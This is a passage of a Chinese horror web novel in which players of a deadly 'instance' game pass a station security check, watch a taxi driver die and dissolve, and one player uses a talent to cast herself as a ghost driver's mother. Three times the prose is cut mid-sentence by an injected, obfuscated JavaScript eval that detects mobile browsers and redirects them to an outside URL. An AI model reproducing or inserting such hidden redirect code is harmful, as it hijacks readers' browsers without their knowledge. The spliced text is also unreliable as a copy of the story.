黄书明抬头探去,就见一个女生蹲在柱子边,肩膀微微颤抖。 是哭声。 一个女生在楼道口抽泣。 那哭声像把钩子,一下扯住了黄书明的神经。 副本世界中,路上遇到有人在哭,应该怎么做? 答,低下头,装没看见,赶紧路过。 黄书明自然也是这么想的。他心生怪异,脚步下意识跟着前面的人,试图从一侧绕开。 “黄老师。” 女生抬头,满脸泪痕,叫住了黄书明。 因为哭泣的缘故,女生的眼白上布满了如红色蛛网般的血丝。 黄书明心中警铃大作。 快跑!快跑!他这么告诉自己,脚却像陷入沼泽般动弹不得,使不上力。 遇到怪事不要慌,先观察规律。他默念几遍生路守则,迫使自己镇定下来。 发动技能——伤害预知。 他如果全力以赴地对这个女生发起一次攻击,结果会如何? 对方头顶上又浮现出了一管新的血条——血条只剩下原本不到十分之一! 他一次攻击就能放倒眼前这个npc。 黄书明高悬的心马上放下。 噢,只是个人畜无害的学生而已,他想多了。 黄书明的询问不由自主沾上了一点真切:“发生什么事了?你怎么一个人在这里?” “我……”女生带着哭腔,“邓辰死了,我找不到他了!” 黄书明不由自主向前走了一步,就在此时,比哭声更尖锐的铃声在他耳边响起! “铃铃铃——” “铃铃铃——” 黄书明抱歉地看了女生一眼,拿出手机。 来电显示:路时缘。 12.车牌号 听到铃声,黄书明稍稍冷静下来。 “喂?……诶。” “快绕开她,不要搭话。” 路时缘冷淡的声音从听筒中传来。 她在附近? 黄书明下意识左右张望,无果。 对方说完那句话后就挂断了电话,好像多停一秒都会被鬼顺着电话线找到似的。黄书明却不敢将手机放下。他佯装镇定,对着手机大声说道:“我没看到你啊!遇到一个学生了!我马上来,马上。” 他一边说着,一边试探性地朝楼道口走了一步。 女生没有拦他,默默地贴着柱子又蹲了下去,看不清脸上的神情。 “嗯?等会儿去吃啥?随便啊……”他胡乱扯着话题,随人群快步往楼下走去。脚下的楼梯发出 “咚咚” 的声响,应上他胸腔内急促的心跳。 黄书明不敢往后看,紧紧抓着把手,指节都因用力而泛白,他提起行李箱三步并两步地跑下楼。 安检处排着一道长长的队伍。路时缘背着包,静静站在队伍外,看他快步走进。 “怎么看到我的?” “我比你更早发现她而已。”路时缘跟在黄书明后面排进安检队伍,“你为什么要走过去啊?” “不是我要走过去,是她叫住了我。” 路时缘有些讶异,“专门叫住了你?” “好像是我的学生。”黄书明苦笑,他预见到自己在副本里的未来。 “学生?你是老师?” “是啊。”黄书明现在也觉得没什么隐瞒的必要了,“美满高中的体育老师,估计和任务目标是一个学校。” 美满高中……路时缘默念,好经典的名字。就像幸福家园一定不幸福,安心医院必然不安心一样,这种名字在恐怖片里永远是flag般的存在。 “那我不该打断你的,或许你和她聊聊会有线索。” 黄书明后怕地摇摇头,“不对,我当时也是打算不理她直接走的。但不知道为什么,她叫住我后,我就有一种……必须要和她对话的感觉。” “这种感觉怎么形容呢?就好像我是一个上了发条的人偶一样。不行,我怀疑这次副本世界走的是精神污染的路线。” “精神污染吗……倒是很准确。”路时缘想到她跑出七号车厢时的场景,“这个女孩之前跟我一个车厢,她对象在那场爆炸中死了。” “死了?她刚刚说''邓辰死了'',应该是同一个人吧?” “这我不清楚。反正我问她的时候,她像没事人一样叫我''等等'',还说我坐了别人的位置,不觉得很恐怖吗?正好当时我也想试验一下车厢里死人究竟会怎么样,所以我就想着给她来一刀。” 黄书明看着面前这个神情淡漠的少女,一时不知道怎么回应她。 到底是谁恐怖啊?谁会在这种时候想着杀个人试试? 不对,汪瑜确实会,也确实这么做了。这么看来,她俩在某些地方还挺有默契的。只是汪瑜的天赋能让她有足够的底气在副本里试验规则。路时缘呢?恐怕对方的天赋也不简单。 “然后呢?你真的下手了吗?这个女孩好像没什么战斗力。”黄书明隐晦地提了一嘴,他并没有和队友透露自己天赋的另一种用法。 “不。”路时缘叹了口气,“我不是嗜杀的人,她开口之前我一直没决定好要不要这么做。但当我真的下定决心时,这个女孩好像看穿了我的杀意。” “然后,全车厢的人都在问我,''你要杀了她吗''?” 路时缘刻意放低声音地说出这句话。黄书明不由自主地想象了下那个场景,仿佛看到一群面无表情的人,眼神空洞地盯着自己齐声质问。他起了一身鸡皮疙瘩,忍不住又问:“然后呢?你一不做二不休把他们全杀了?” “怎么可能?”路时缘的语气终于有了起伏,带着丝不易察觉的无奈。她终于明白汪瑜被胡平追着贴“杀人狂魔”标签的心情。“我肯定是跑了,然后就看到了你们。” “照你这么说,七号车厢的乘客都是诡异了?你是从诡异堆里跑出来的?”黄书明还是觉得有点不可思议。 “她跟你搭话后你想走不也能走么?”路时缘反问道。 “好像也是。”黄书明思索了一阵,“这说明我们没有触发诡异的杀人条件。” 路时缘记下这个点。她想到新手副本里的那个凶手,显然对方也要按照某种规则来杀人。 “那你说有没有一种可能。”黄书明突然想到了一种毛骨悚然的假设,“这个女孩刚才其实在等你?” “等我做什么?”路时缘不解地皱眉。 “当然是因为,你已经引起了她的注意啊。”黄书明越想越觉得这个猜测很有道理。副本中,玩家在探索规则的同时,诡异也在观察他们,自己也许误打误撞地替路时缘扛下了一波精神污染。“你怎么发现那个女生的?” “怎么发现的?”路时缘重复了一遍,“当然是用眼睛发现的。” “我不是这个意思。如果你们有过交流,不也会像跟我那样,直接把你叫住吗?” 路时缘:“……她堵在楼梯口那边哭,我当然大老远就看见了啊,然后我就绕路去坐电梯了。” 竟然是这么朴实无华的理由。黄书明默默告诫自己,以后走路应该抬头看路。 路时缘指了指队伍,提醒黄书明往前走。他俩聊天之际,前面已经空出了一大片地方。 黄书明推着行李往前挪动,还有两三个人就轮到他们了。 人群一个个把行李放置到机器的传送带上,面部则接受探头的检查。 “这个人脸识别你怎么看?”黄书明心中发怵。 “他们都通过了。”路时缘早就想到了这个问题,示意他看手机。 【路时缘:安检你们怎么过的?】 【步小连:我跟着罗老师。】 【汪瑜:正常通过。】 【胡平:我走员工通道,你猜怎么着,员工通道也要安检。】 【路时缘:行,那我也去。】 【胡平:你有什么可以不直接通过的手段吗?】 【路时缘:没有。】 【汪瑜:车还有多久到?】 【步小连:快了,我们要出去等了。】 【汪瑜:其他人快点过来。】 路时缘:“这代表经过人脸识别并不是触发诡异杀人的条件。” “可是脸上长的那个东西到底是什么?” 路时缘叹口气,不明白为什么他要那么纠结这个问题。 因为已有的信息之下——这不是一个给玩家推理的谜题。 更像是一处被重点标记的陷阱。 安检员只有一个,坐在椅子上看着行李的扫描屏。 似乎没有人注意乘客是否老老实实通过探测仪。 正常通过、正面冲突还是找机会绕开? 路时缘脱下包,看着它缓缓消失在传送带上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786201|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无事发生。 面部扫描通过。她身上带着管制刀具,而机器根本没有扫描她的身体。 这可能是原主能通过安检的原因。 “按照你的猜测,我被那个女生注意到了。”路时缘提起自己的包,向黄书明解释,“为什么?因为我做出了略显异常的举动。如果是这样,那么我猜逃脱安检是一条死路。” “因为这是一种过分异常的行为——我们俩的天赋很难完成神不知鬼不觉的逃脱,强行闯过一定会引起骚乱。” “甚至我怀疑,这个副本在诱使我们做出这样的决策。” 逃脱安检,会让他们在避开潜在危险的同时,陷入最直接的死局。 安检员把视线从屏幕上的面孔移开,看着那两人的身影消失。 *** “胡平呢?” 黄书明远远就看到汪瑜站在大门口。她不知道从哪里翻出来一只墨镜卡在额头上,双手插在风衣口袋里,身姿挺拔而修长,半个身形没入傍晚的夕阳之中。 “等不了他了。罗湘打的车快到了,车牌号C7490,大家留意下。” 汪瑜一边说着,一边无意识敲打着手机背面的塑料壳子,发出哒哒的声响。 高峰期打车就是这样,方才地图上显示五分钟,过了得有两个五分钟吧,车辆才像蜗牛一样朝目的地爬了几百米。 估摸着时间差不多了,步小连跟着罗湘穿过广场。错落的小吃摊吸引了步小连的视线。罗湘留意到她的目光,停下来询问:“要不要先买点东西垫垫肚子?” 和现实世界不同,这里的路边摊上没有扑鼻而来的孜然香气,只有一排冰冷的玻璃罐子。 “不用了老师,车不是快到了吗?” 罗湘失笑:“不差这一会儿。” 说着,罗湘拿起摊上的一个食物罐。里面似乎是切成球状物的红色水果。工厂里加色素的机械臂好像手抖了,玻璃罐中颜色是浓郁到腐败的红,步小连一时没认出是草莓还是樱桃,又或者是红心火龙果? 她之所以会关注到,只是因为这些东西和胡平推车上的罐头太过相似。 “3万。”摊主是一个戴着口罩的男人,细碎的刘海堪堪遮住了眉毛,从露出的眉眼来看,年纪不大。 多……多少?步小连怀疑自己听错了价格。她强忍住面上的震惊。只见罗湘神色自若地从口袋里拿出几张皱巴巴的纸币递给摊主。 纸币有些破旧,边角都磨得起了毛,步小连看着那两张纸币,确认了,这个世界通货膨胀得厉害。 罗湘把罐子递给步小连,“走吧,路上吃。” 海丰市的出租车主体呈深蓝色调,车身上涂装着一条醒目的亮黄色装饰条。车流量比刚才少了一些,两个司机眼尖地发现了这两个停下的乘客,堆着热情的笑容走近,大声吆喝:“走不走啊?” 一股烟味扑面而来。 步小连拘谨地摆摆手,他们叫的车已经停在了路边。罗湘率先打开后座的门,弯腰坐了进去。步小连犹豫了一下,也跟着坐进后排。 “去哪?” 司机一只手随意搭在方向盘上,询问刚上车的三人。 “跟上前面那辆出租车——车牌号C7490。”汪瑜紧紧盯着挡风玻璃。 “你们在……”司机眉头瞬间拧成川字,刚想发作,眼睛却瞟到了前面那辆启程的出租车的车尾。 真的是C7490! 见鬼了,和他的车牌号一模一样。 13.司机 “这是……我的……” “我……我的……” 后面的声音像是被什么东西堵住了一样,化为嘶嘶的气音。坐在副驾驶的黄书明没听清楚,疑惑地扭头看向司机。 只一眼,他就愣住了。 只见司机的脊背像一根弯折的芦苇,凹成了九十度,头颅无力地垂在方向盘上。 他脖子上翻,涨红了面皮,像是看到了什么不可置信的画面般向外鼓着眼,嘴巴张开,干瘪的嘴唇牵着周围的肌肉上下颤动,冒着“嗬嗬”的喘气声。 而后,一道狰狞的伤口绽开,皮肉翻卷,从脖子一路蜿蜒而下,鲜血汩汩地涌了出来,瞬间洇湿了单薄的汗衫。 没有任何作案工具,伤口凭空出现,就好像是从皮肤上生长出来的那般。 黄书明冷汗涔涔淌下,他下意识去摸椅侧的按钮,想要解开安全带。后座的二人却冷静不少,没有挪动,不约而同地观察着这具快速腐败的尸体。 对路汪二人而言,这是一个非常眼熟的画面。 司机的四肢以极其怪异的姿态扭曲着,头颅从方向盘上滑落,斜靠在逐渐裸露出森森白骨的胸膛上,脸上的血色尽数退去,露出一片灰败的皮肤。 紧接着皮肤开始收缩,像高温炙烤过般腾起白烟,随后滋滋地渗出暗红色的血浆。 不过片刻,司机身体大部分已化为浓稠的血水,与那些尚未完全溶解的碎肉块混在一起,顺着座椅的缝隙蠕动着,在底部汇聚成一滩散发着刺鼻腥臭味的、令人毛骨悚然的血泊。 血液渗到了后座的位置上。路时缘双脚腾空,“咔哒”一声,早就放在门把上的手按下了开关。插销弹起,车门打开,她双腿朝外一放,闪身出去,脱离这块刺鼻的空间。 汪瑜也飞速从另一侧打开门,她来不及抬高的黑色鞋尖蹭到了一点血迹,令她下意识蹙眉。 “他死了。”路时缘说了一句在场三人都看得出来的事情。 黄书明跟着下了车,神色恍惚地点了点头:“是啊,死了。” 汪瑜紧锁着眉头,脑子里像放映机一样回放刚刚的画面,试图调取有用的信息。她一开始的注意力全皆放在了任务目标的车辆上,竟然没有留意到这个司机。 “在我们说完跟上前面的车后直接死的。”路时缘接着说,朝车的尾端走去。 汪瑜微微俯身,透过车窗,只见那碎肉块,大多已不见踪迹,血水像是被一张贪婪的大口吮吸着,面积正一点一点地逐渐缩小,露出车辆原本的黑色皮革内饰。 她下意识低头,那块血迹消失了,绒质鞋面上露出了几处细碎的灰白色划痕——之前她在列车上留下的。 “这具尸体在消失,只是比列车上的速度慢了许多。” 明明黄书明才是她更值得信赖的队友,路时缘是她从未放下过怀疑的对象,但汪瑜说这话时,还是看向了路时缘。 “这辆车的车牌号和他们的车一样。如果我没记错,司机好像就是在发现这件事之后,直接拦腰暴毙。” 路时缘站在车尾,念出了车牌上的数字,她和汪瑜对视一眼。 路时缘蹲下身,那蓝底白字的色调均匀且自然地涂在牌面上。 伸出手,指尖传来的触感十分平滑,漆面细腻且均匀,并不是粗糙、颗粒感或是不平整的触感。车牌边缘整齐划一,严丝合缝,没有任何拼接、缝隙或是松动的迹象,完全符合正常车牌的制造工艺。 “不是套牌。”路时缘很快得出结论。 “任务目标很可能有危险。”汪瑜脸色一沉,好似乌云骤聚,语气笃定地下了判断。 她看向周围,广场正处于商贩生意最热闹的时间段,也的确有很多南来北往的旅客拖着大小各异的行李箱在其中穿梭。 但这些人从哪里过来的?马路中央,车辆头接尾地堵着,寸步难行。但车辆来往间,除了他们刚刚所乘坐的那辆车,竟然再也不见其他车辆靠边停下。 仔细想想,他们是怎么在高峰期拦到这辆车的? 三人汇聚后,跟着步小连她们穿过广场。来来往往的出租车里,唯有这辆车的车头,挂着绿色的 “无人” 二字。待路时缘抬手示意之后,它便稳稳当当地停在了三人面前。 一个可以称之为雪中送炭的巧合。 所以,会是陷阱吗? 这般思忖间,她伸手握住驾驶座的门把,轻轻一拉。 大脑在瞬息之内转了几个来回。 任务目标的车已经驶向下一个路口,即将消失在大家的视野范围内。 汪瑜不再犹豫,矮身就钻进驾驶位。就在数秒之前,这块椅面上还横陈着一具血肉模糊的碎尸。 像是按下了一键清零,车内刺鼻的味道也随着血块的“回收”而散去,如果放在现实世界,这将是一个找不出任何破绽的犯罪现场。 车内后视镜上吊着一个佛像模样的玉质吊坠,肉髻隆起,面庞圆润,眉眼细长且微微下敛。玉体表面,有些许磨蚀,随着汪瑜的动作微微晃动着。 “你……”黄书明没想到汪瑜动作这么迅速,完全不担心这辆车是不是存在什么问题。 他把那句“你不担心这是死路吗”这句话咽了下去。 汪瑜目光如电,迅速自仪表盘掠向后视镜,而后冷冷地吐出两个字: “上车。” 天色渐晚,不觉间天空露出了一片深色的蓝,像是取色自马路上交织穿梭的出租车漆面。 车辆缓缓驶到十字路口处,前方醒目的红灯亮起,截停了行驶的车流。 路时缘回想起黄书明脸上的神情,突然想到了什么:“你们当时回到五号车厢时,有见到尸体是怎么消失的吗?” “没有。”黄书明很快回答,随即转头看向汪瑜。她的侧脸线条笔直而刚硬,神色专注地盯着前面的车辆,似乎并没有分多少注意力在他们身上。 他有点懊悔自己答得太过草率。黄书明不太摸得清汪瑜的心思,不知道她想要和队友透露多少。 路时缘若有所思地点点头,没再继续这个话题。 月光很低地贴着窗外的景物游移。枝头摇曳摩擦,托起初冬的风,夜晚的霜。 离开车站附近后,密织的车流和人流如潮水般向后退去,马路周围的店铺渐渐由整齐排列的绿植所代替。 黑褐色的土墙立在路边,上方是一节一节黄褐色土坡。再远一点能隐约看见低矮破旧的房屋杂乱无章地排列着,像是儿童随意堆砌、铺陈的积木。 司机是个戴着顶鸭舌帽的男人,脸上覆着黑色口罩,身穿皮质夹克,在车内后视镜里露出窄窄的额头,额头上长着很深的皱纹,浓眉之下是一双鹰隼般的眼睛。 步小连的视线飞速瞥过,不经意和司机对视上。她的目光好像被烫到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788677|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般,马上低下头。 她的手放在膝盖上,紧紧攥着手机,屏幕上是黄书明发来的信息。 【黄书明:小心。我们拦到了一辆出租车,车牌号和你们的一样。】 【黄书明:他在听完我们说车牌号就死了。他的尸体和列车上的那些东西一样,溶解后消失了。】 “尸体”二字像针刺了一下她的心。 步小连才发觉自己的手冻得冰冷而僵硬,车内没有开暖气。 【路时缘:你那辆车的司机有没有什么特征?】 这个手机步小连用得不是很习惯,她的大拇指努力在袖珍的按键上敲打着。 【步小连:戴着口罩和帽子,额头上有皱纹,眼神看着不像个好人。】 【步小连:怎么办?任务目标有危险吗?】 【路时缘:不确定,你小心一点那个司机。】 ——虽然也不知道怎么小心。路时缘心里不由自主浮现出第一个副本时,她给自己留下的话。 只能说她道出了这场不公平游戏的本质。副本世界玩家能做的只有绝对的谨慎,而且是无从下手、毫无理由的谨慎——因为诡异有人类完全无法理解的行为逻辑。在用玩家的性命实验出真正的规则之前,任何情况都有可能出现。 汪瑜:“你们问她,那辆车里面有没有什么装饰物?” 【步小连:车内后视镜上挂着一个佛像吊坠,好像是玉石做的。】 佛像吊坠?路时缘很快也发现了这辆车内的装饰品。如果款式一样,那她有理由认为情况可能不是对面开了辆套牌的车…… 而是这根本就是两辆一模一样、一比一复刻的车! 步小连的信息一条一条发送过来。她不经常用这类手机,所以打字速度不快,每每打出一个信息后就马上发送出去,而且措辞尽量省略了多余的文字。 【步小连:一包蓝色抽纸。】 【步小连:好像有个黑色的包放在副驾驶上!】 步小连朝罗湘的方向坐了几公分,才注意到副驾驶上的那个包。一时间她脑子里闪过了特别多画面——她仿佛看到了拉开拉链后,包里堆满了被分解的尸块,尸体头颅正正好对着她,露出瘆人的微笑。 步小连被自己的想象吓的浑身一抖。 【步小连:现在要做什么?你们人呢?】 路时缘他们迟迟没有回复信息。 罗湘自从上车之后,报完手机尾号就阖上双眼,应该是在闭目养神。连续几日的出差奔波,让她身体的每一寸都仿佛灌了铅般沉重,眼下是两团乌青。 司机也没说话,车内静悄悄的,步小连只能听到身旁传来的起伏呼吸声和窗外猎猎的风声。 她好像被全世界遗忘了。 随着车辆继续行驶,窗外城市的痕迹愈发淡薄。周围已经没有其他车辆,后视镜中也看不到汪瑜他们的车跟上来的迹象。路面坑洼不平,车辆行驶在上面,颠簸不已,发出沉闷的声响。 路两侧的路灯还没打开,天色愈加昏沉。 她甚至都不知道这条路线是不是正确的。步小连从来没有一刻这么怀念智能手机的存在过。 云层像棉絮一样被扯散,月亮完全出来了。白光斜斜拉成一条线,堵在道路的尽头。 恐惧如藤蔓一般生长,网住了她的内心。 步小连觉得自己有些喘不过气来。 14.标签 步小连的紧张并非空穴来风。 因为在她面前的,并不是普通原住民。 就在收到黄书明信息的那一刻,她在情急之下,对司机使用了天赋。 三个刻有烫金字样的标签在她的眼前浮现: ——【杀了么员工】【诡异】【司机(伪装版)】 步小连第一次觉得天赋显现的标签如此刺眼。 难道和任务目标一起回家是触发死路的行动吗?但如果自己没有跟上来,任务目标被杀死她的任务也一样会失败。 好消息是,她确定了司机的身份。 坏消息是,上了诡异的灵车,司机多半冲着她俩来的。 副本才开始第一天,她相信诡异杀人依旧是有限制的。只是,如果她在车上触发了死路,那么自己的生命估计很快要进入倒计时了。 可惜她没有掠夺到自己想要的标签,否则绝不会让自己落入到如此被动的境地。 而且,步小连还需要解决一个问题:她不过是病急乱投医打开了天赋技能,但她的天赋理论上只能查询玩家身上的标签,难不成这个司机是刚刚变成诡异的玩家? 如果是这样,这个副本比她想象的还要危险。 “叮——” 系统熟悉的声音在她脑子里响起。 是天赋说明更新了——她无意间开发了天赋的新用法! 【天赋:标签掠夺者。】 【天赋说明:人当然可以被标签所区分。这个天赋几乎就是为你量身定做的!】 【1.标签查看:你有权随机查询玩家身上的3个标签,标签有概率包括天赋,但在伪装或掠夺成功之前,你无法得知该标签是否属于天赋技能。】 “玩家”二字被抹去,替换为“大部分生命体”。她的天赋不知道什么时候获得了进化。因为步小连很确定自己在上一个副本里,还没有办法查看原住民的标签。 当然,这并不是她第一次升级天赋—— 其余的能力说明没有产生变化。 【2.标签伪装:你可以复制他人身上的标签贴到自己身上,同一人最多复制一个,身上最多储存三个复制标签,且副本结束后自动清除。 复制得来的标签仅更改你在他人眼中的形象,不等于你获得了此项标签的属性。复制标签的属性如果相互矛盾,则新复制的标签优先级更高。】 【3.标签掠夺:当你对可查询标签的生命体造成致命伤害,你可以掠夺一个ta身上的标签。 之后你将拥有此项标签的属性,若与你原有属性冲突,则会覆盖原先的属性;相应的,对方会失去该标签。 注意,掠夺是被动技能,无论如何只要满足条件就会发动能力;掠夺得到的标签不可挑选;不会掠夺已有的标签;掠夺上限是两个,新的标签会自动覆盖旧的。】 窗外的景象愈加荒凉,风像浪一样拍打着车窗。前方不知何时支起一片雾帐,路况溶化在薄雾之中,能见度急速下降。 步小连记得上一个路口的路标上标注的是“海城西路”,当时她马上在网页上搜索,老式手机却陷入了卡顿中,无法加载出地图。 而现在步小连已经不需要查询车辆的路线了。面前的司机,就是来杀任务目标的杀手。 指不定还和路时缘有关联。 是的,虽然路时缘并没有透露出原本身份隶属的组织名称,但是在路时缘刚进车厢的时候,她就已经查看了路时缘身上的三个标签—— 【杀了么员工】 【非常规的新手玩家】 【携带武器的违规乘客】 她甚至被系统判定为“非常规的新手玩家”。这么一想完全说得通,步小连前脚把车牌号发在了玩家的群聊里,后脚和罗湘上的车就被调包了。 路时缘的信息和动机完全充足,很可能就是她在通风报信。 是黄书明的天赋判断错误了?还是说他们从头到尾都是一伙的? 步小连仔细回想这几个玩家贴有的标签。 黄书明:【负责任的老师】 【血条观察者】 【拥有超过平均成年男性的体能】 汪瑜:【优秀的演员】 【尚可的导演】 【携带武器的违规乘客】 说实话,这俩人身上都没有刷出她想要复制来伪装自己的标签。 黄书明关于自己的天赋能力应该没有说谎。 而汪瑜撒谎了,她的两条身份可能分别对应了副本和生前职业,总之那个官方调查局大概率是她编造出来的。 路时缘听到一个疑似警察的角色就主动暴露了身份。还好汪瑜不吃她那一套,如果路时缘指望着通过坦诚来换取信任,那她的算盘落空了。 胡平作为她进副本后遇到的第二个玩家,对方身上的标签,则是她见过最为诡异的: 胡平:【乘务员】 【乘务员】 【乘务员】 如果只有其中一个标签是乘务员,步小连也许还会复制过来伪装自己,从而更好地搜集列车上的信息。但她看到这排整齐的标签,直觉让她打消了复制的念头。 步小连一度怀疑对方拥有反信息探查类的天赋。因为“标签”一定代表某种属性,是不被谎言和伪装所影响的属性。只有系统赐予的“天赋”,才能够真正意义上更改一个人身上的标签,从而干扰她的标签查询。 越想越觉得群聊里很可能混入了对立阵营的玩家,她现在只能祈祷,那个看上去和路时缘不对付的汪瑜是她真正的队友。 步小连打开群成员的页面,在列表中找到汪瑜的名称,接着长按相应选项,呼出操作菜单,选择 “添加好友”。 【步小连:这辆车的司机和路时缘来自同一个杀手组织。】 对方没有回复。包括群聊,到现在步小连都没有接收到新的消息。 究竟是她的手机出了问题,还是汪瑜那边出现了什么突发状况? 路时缘或许已经动手了,在和她的“队友”打配合。 窗外的景色还在飞速倒退之中,雾浪几乎要淹没整片挡风玻璃,司机毫无所觉地继续开着,甚至速度越来越快、越快越快—— 这辆车的真实速度究竟是多少? 少女将后背抵在冰凉的靠椅上,极力探出头,从驾驶座与副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812106|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾驶座的间隙中瞄到了仪表盘上的速度——190KM/H。 步小连在看到车速的那一刻就明白,单指望可能存在的队友追上已近乎不可能了。 她不能再坐以待毙。 步小连调出她目前拥有的标签。 【1.(伪装)纯纯的萌新(你在玩家眼中是一个单纯的新人)。】 【2.(伪装)暂空。】 【3.(伪装)暂空。】 【4.(掠夺)父母资格证(天赋标签,你可以行使父母应有的权力)。】 【5.(掠夺)乖巧的学生(你是听话的好学生,一般情况下你不会违反老师的要求)。】 【拓展包:幸运的你掠夺到了天赋标签,送你一份使用说明书。】 【父母资格证(标签版):发动能力时需选定一位生命体(该生命体需要拥有父母的概念)作为目标,发动后的一小时内目标及周围生命体会将能力发动者视为目标的父母,并且能力发动者将拥有行使父母权力的资格。】 步小连看着三条伪装标签,意识到自己犯了一个严重的错误。 进入副本后,她按照以前的习惯率先找到了一条新人标签贴在自己身上,暂时选择保留其他空位。 但在刚才,她觉醒了查看npc标签的能力。这也意味着,只要刷新出来的标签有关对方的立场或阵营,她就可以把标签复制过来。和诡异狭路相逢时,同类身份大概率能帮助她躲避一次追杀。 可她的标签迭代是根据复制时间来替换的。 也就是说,如果步小连逃脱后不想被玩家当成诡异追杀,就必须再复制三条标签。 这种情况下,“纯纯的萌新”也会消失——而且根据复制属性不重合的规则,或许她在复制完“诡异”这个标签的那一刻,她的“新手光环”也将不复存在。 失去这个标签对她而言是个大麻烦。除非步小连已经决定在接下来的任务时间内以诡异的身份躲藏。但“诡异”只是一个伪装属性,她作为玩家一样要寻找副本的生路。 在场的玩家已经没有萌新标签让她复制了,非要说的话,路时缘身上“非常规的新手玩家”勉强可以算作一个。 步小连决定把复制诡异标签作为极端情况下保命的后手选择。 天赋标签来是她从上上个副本的队友身上撕下来的。说实话,对于基础战力不足的步小连而言,的确非常好用。她在上一个副本里甚至都没有遇到比这更好的标签,因此她整个副本下来都克制住了杀人的欲望。 维持人类形态的诡异应该也会有人类社会的相关概念。 或许她可以先让这辆不知道要开向何方的车辆停下。 罗湘睡得很熟,略重的呼吸声在车内像是一把扁扁的铲子,一下一下往车内填着沙。 一个乖巧的学生不会在这个时候打扰老师。 但一个合格的母亲会喝止住车速越来越快的孩子。 步小连尽量让自己的声音听起来温柔且关切: “好孩子,雾这么大,我们要不先把车靠边停下吧?太不安全了。” 15.无法停下 司机摘下口罩,他的鼻梁处有两道浅浅的横纹,脸颊上是砂纸般粗糙的皮肤。此时此刻,这张饱经沧桑的面庞露出了一副孩童般的无措神情。 他慢慢偏过脸,视线在前置后视镜中和步小连对上。 “不能停下来……妈妈……会被追上的……” 声音沙哑颤抖,带着恐惧。 目标对象设定成功了。 不过,即使目标将自己视作能力发动者的孩子,也并不意味着他会言听计从。 一般而言,目标可能会对家长的要求持有不同的态度。 大部分情况下,天赋使用者以父母的口吻发出合理的指令时,目标都不会反抗。除非这个指令明显违背了父母的角色,或者极大程度刺激了目标的情绪。那么,孩子就可能产生“叛逆”的情绪。 最有利的情况是,目标是一个“孝顺”的孩子,对父母百依百顺,说一不二。这种时候,即使是父母对孩子造成伤害,目标也大概率不会反抗。可惜,这种情况非常少见,而且大部分只能在玩家身上见到。 这个天赋作用于诡异,效果一般会大打折扣。 “孩子”,尤其是本体是诡异的“孩子”,很可能会在刺激之下攻击父母。所以,能力发动者应该要根据对方的状态小心措辞。 不过,看目标现在的神情,估计作为孩子是一个好拿捏的对象。 判断出这一点后,步小连心中松了一口气,话语中不觉间添上了一丝愤怒。 “胡说八道什么!谁在追你了?天气这么差,还开得那么快,你这孩子真是完全不顾危险啊!” 被母亲训斥的孩子心中盈满悲伤,但他不知道这种酸涩的感觉从何而来。 司机被这训斥击中,脸上瞬间浮现出受伤的神色,不理解母亲的责难,嘴唇微微颤抖,嗫嚅着:“停下来……会死的。” 他的声音中带着哭腔,那酸涩的悲伤如同有形之物,弥漫在车内狭小的空间。 悲伤意味着示弱,而示弱的态度则进一步刺激着步小连的神经。 “不停下那你现在就去死吧!!”母亲的脸因为愤怒而涨红,鼻子急促地翕动,她不吝用最恶毒的诅咒来攻击不按照自己心意行动的孩子。 言语化作一把精巧的利刃,剜进了他的内心。司机颤抖着嘴唇,一道高亢而尖锐的声音伴随着肩部的剧烈耸动从驾驶座上泄出——“不行!不行!不行!” 这声音尖锐刺耳,好似要将窗外的雾气都刺破。 见状,步小连轻车熟路地使用着她的家长经典语录,每一个字都带着不容置疑的威严:“为什么不听话!还有,跟你讲话你还在干别的事?忘了之前怎么教育你的吗,跟妈妈讲话要懂礼貌,要懂得看人!” 孩子的哭声让母亲愈加暴躁,只言片语中裹挟而来的怒意似乎要将孩子击碎,车内的空气仿佛都被这股怒火点燃。 “嘎吱” 司机突然一百八十度扭过脖子,从驾驶座头枕的镂空处紧盯着步小连,他眼睛上似是泪水,似是汗水,扭曲作一团,带着孩子的脆弱,又遍布成年人的狰狞。 步小连方才还沉迷于父母的角色扮演之中,看见此情此景,不由得心中一跳。 这绝不是正常人该转的角度,也绝不是正常人能做出的表情。 步小连稍稍恢复了一些作为玩家的思考,她强压下心中的恐惧——作为父母,不应该害怕小孩。 她调整神态,语气放缓:“真乖,有礼貌,知道说话要看着别人,但是开车也要看路噢,不如先把车停下,妈妈跟你说清楚再继续开下去吧?” 母亲眉头突然舒展开来,言辞也不再充斥着戾气,反而开始了对孩子的夸赞。 可是,孩子并没有因为母亲的让步而变得听话,他的情绪反而更加激动,大声叫嚷着:“不看路也开得很好!停下就会……就会被他们追上!妈妈,我们都会死的!!!” 